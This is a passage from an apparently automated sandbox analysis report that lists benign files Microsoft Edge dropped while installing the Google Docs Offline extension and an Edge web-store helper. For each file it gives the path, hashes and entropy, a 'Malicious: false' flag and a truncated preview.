SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir744_489800492\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir744_489800492\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir744_489800492\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
